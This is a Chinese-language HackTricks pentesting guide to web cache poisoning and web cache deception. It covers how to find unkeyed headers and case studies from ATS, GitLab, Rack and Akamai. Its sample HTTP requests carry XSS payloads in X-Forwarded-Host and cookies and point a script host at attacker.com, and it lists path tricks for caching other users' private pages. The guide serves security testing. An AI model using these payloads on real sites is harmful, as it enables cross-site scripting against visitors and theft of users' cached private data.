hacktricks/pentesting-web/cache-deception.md

16 KiB
Raw Blame History

缓存投毒和缓存欺骗

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


使用Trickest可以轻松构建和自动化工作流程,使用全球最先进的社区工具。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

区别

Web缓存投毒和Web缓存欺骗有什么区别

  • Web缓存投毒中,攻击者会导致应用程序将一些恶意内容存储在缓存中,并从缓存中向其他应用程序用户提供此内容。
  • Web缓存欺骗中,攻击者会导致应用程序将属于另一个用户的某些敏感内容存储在缓存中,然后攻击者从缓存中检索此内容。

缓存投毒

投毒缓存的目标是使客户端部分加载意外资源或受攻击者控制的资源
投毒的响应仅会提供给在缓存被投毒时访问受影响页面的用户。因此,影响的程度取决于页面是否受欢迎。

要执行缓存投毒攻击,首先需要识别无键输入(不需要出现在缓存请求中但会改变返回页面的参数),查看如何滥用此参数并获取响应缓存

发现检查HTTP头

通常,当响应被存储在缓存中时,会有一个指示的头部,你可以在这篇文章中查看应该注意的头部:HTTP缓存头部

发现缓存400状态码

如果你认为响应被存储在缓存中,你可以尝试发送带有错误头部的请求,应该会返回状态码400。然后尝试正常访问请求,如果响应是400状态码则说明存在漏洞甚至可以执行DoS攻击
一个配置错误的头部可能只是\:作为头部。
请注意,有时这些类型的状态码不会被缓存,因此此测试将无效。

发现:识别和评估无键输入

你可以使用Param Miner暴力破解可能会改变页面响应的参数和头部。例如,页面可能使用头部X-Forwarded-For来指示客户端从那里加载脚本:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

引发后端服务器的有害响应

通过识别参数/标头,检查它是如何被清理的以及它在响应标头中的反射位置或影响。你能以任何方式滥用它吗执行XSS或加载由你控制的JS代码执行DoS攻击...

获取响应缓存

一旦你确定了可以滥用的页面,要使用的参数/标头以及如何滥用它,你需要获取页面的缓存。根据你尝试缓存的资源,这可能需要一些时间,你可能需要尝试几秒钟。
响应中的标头**X-Cache可能非常有用,因为当请求未被缓存时,它可能具有值miss,而当它被缓存时,它可能具有值hit
标头
Cache-Control也很有趣,可以知道资源是否被缓存以及下一次资源将再次被缓存的时间:Cache-Control: public, max-age=1800
另一个有趣的标头是
Vary。该标头通常用于指示其他标头**,即使它们通常是无键的,也被视为缓存键的一部分。因此,如果用户知道受害者的User-Agent,他可以为使用特定User-Agent的用户污染缓存。
与缓存相关的另一个标头是**Age**。它定义了对象在代理缓存中存在的时间(以秒为单位)。

在缓存请求时,要小心使用标头,因为其中一些标头可能会被意外地用作有键的,而受害者需要使用相同的标头。始终使用不同的浏览器测试缓存投毒是否有效。

漏洞利用示例

最简单的示例

响应中未经清理地反射了类似X-Forwarded-For的标头
你可以发送一个基本的XSS有效负载并污染缓存这样访问该页面的每个人都将受到XSS攻击

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

请注意,这将会对/en?region=uk的请求进行篡改,而不是/en的请求

使用Web缓存篡改来利用Cookie处理漏洞

Cookie也可以在页面的响应中反射。如果你能够滥用它来引发XSS攻击那么你就可以利用恶意缓存响应中的XSS攻击来攻击多个客户端。

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

请注意如果易受攻击的cookie被用户广泛使用常规请求将清除缓存。

利用多个头部来利用Web缓存污染漏洞

有时,您需要利用多个无键输入来滥用缓存。例如,如果您将X-Forwarded-Host设置为您控制的域,并将X-Forwarded-Scheme设置为http,则可能会发现一个开放重定向如果服务器将所有HTTP请求转发到HTTPS并使用头部X-Forwarded-Scheme作为重定向的域名,您可以通过重定向控制页面指向的位置。

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

利用有限的Vary头进行攻击

如果你发现**X-Host头被用作加载JS资源的域名**,但响应中的**Vary头指示了User-Agent**。那么你需要找到一种方法来窃取受害者的User-Agent并使用该User-Agent来污染缓存

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

利用HTTP请求欺骗进行HTTP缓存欺骗攻击

在这里了解如何通过滥用HTTP请求欺骗来执行缓存欺骗攻击

自动化测试Web缓存欺骗

可以使用Web缓存漏洞扫描器来自动测试Web缓存欺骗。它支持许多不同的技术并且高度可定制。

示例用法:wcvs -u example.com


使用Trickest轻松构建和自动化工作流程,使用全球最先进的社区工具。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

可漏洞示例

Apache Traffic Server (CVE-2021-27577)

ATS在URL中转发了片段而没有剥离它并且仅使用主机、路径和查询生成缓存键忽略片段。因此请求/#/../?r=javascript:alert(1)被发送到后端作为/#/../?r=javascript:alert(1),缓存键中没有有效载荷,只有主机、路径和查询。

GitHub CP-DoS

在内容类型标头中发送错误的值会触发405缓存响应。缓存键包含了cookie因此只能攻击未经授权的用户。

GitLab + GCP CP-DoS

GitLab使用GCP存储静态内容。GCP存储桶支持头部x-http-method-override。因此,可以发送头部x-http-method-override: HEAD并欺骗缓存返回空响应正文。它还可以支持方法PURGE

Rack中间件Ruby on Rails

Ruby on Rails应用程序通常与Rack中间件一起部署。下面的Rack代码获取**x-forwarded-scheme的值,并将其用作请求的方案**。

发送x-forwarded-scheme: http头部将导致301重定向到相同的位置从而导致该资源的DoS如此示例中所示

应用程序还可以支持头部X-forwarded-host并将用户重定向到该主机从而可以从攻击者服务器加载JavaScript文件

403和存储桶

以前,Cloudflare缓存403响应,因此发送错误的授权标头尝试访问S3Azure存储Blob将返回一个被缓存的403。Cloudflare不再缓存403响应但这可能适用于其他代理。

注入键参数

很多时候,缓存被配置为仅将特定GET参数包含在缓存键中

例如Fastly使用Varnish在请求中缓存了size参数,但如果您同时发送了带有错误值的**siz%65参数,缓存键将使用正确编写的size参数构建,但后端将使用URL编码参数中的值**。

对第二个size参数进行URL编码会导致缓存忽略它但后端使用它。给参数赋值为0将导致可缓存的400 Bad Request。

用户代理规则

由于FFUF或Nuclei等工具生成的流量很大一些开发人员决定阻止与其用户代理匹配的请求。具有讽刺意味的是这些调整可能会引入意外的缓存欺骗和DoS机会。

我发现这在多个目标上都有效,使用了来自不同工具或扫描器的用户代理。

非法的标头字段

标头名称格式在RFC7230中定义如下:

理论上,如果标头名称包含除tchar中列出的字符以外的字符应该拒绝它并返回400 Bad Request。然而在实践中服务器并不总是遵守RFC。利用这个细微差别的最简单方法是针对不拒绝无效标头的Akamai进行攻击而是将其转发并缓存任何400错误只要缓存控制标头不存在。

发送包含非法字符\的标头将导致可缓存的400 Bad Request错误。这是我在测试中最常发现的模式之一。

查找新的标头

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

缓存欺骗

缓存欺骗的目标是使客户端加载将由缓存保存的资源及其敏感信息

首先要注意的是,通常会将.css.js.png扩展名配置为保存在缓存中。因此,如果访问www.example.com/profile.php/nonexistent.js,缓存可能会存储响应,因为它看到了.js扩展名。但是,如果应用程序正在使用存储在 www.example.com/profile.php 中的敏感用户内容进行回放,您可以从其他用户那里窃取这些内容。

其他要测试的内容:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • 使用较少知名的扩展名,如 .avif

在这篇文章中可以找到另一个非常明显的例子:https://hackerone.com/reports/593712
在这个例子中解释了如果加载一个不存在的页面比如_http://www.example.com/home.php/non-existent.css_将返回 http://www.example.com/home.php 的内容(包含用户的敏感信息),并且缓存服务器将保存结果。
然后,攻击者可以在自己的浏览器中访问 http://www.example.com/home.php/non-existent.css 并观察之前访问过的用户的机密信息

请注意,缓存代理应该根据文件的扩展名.css)而不是基于内容类型进行配置缓存文件。在示例中,http://www.example.com/home.php/non-existent.css 的内容类型将是text/html而不是text/css这是_.css_文件的预期内容类型

在这里了解如何通过滥用HTTP请求欺骗来执行缓存欺骗攻击

参考资料


使用Trickest可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥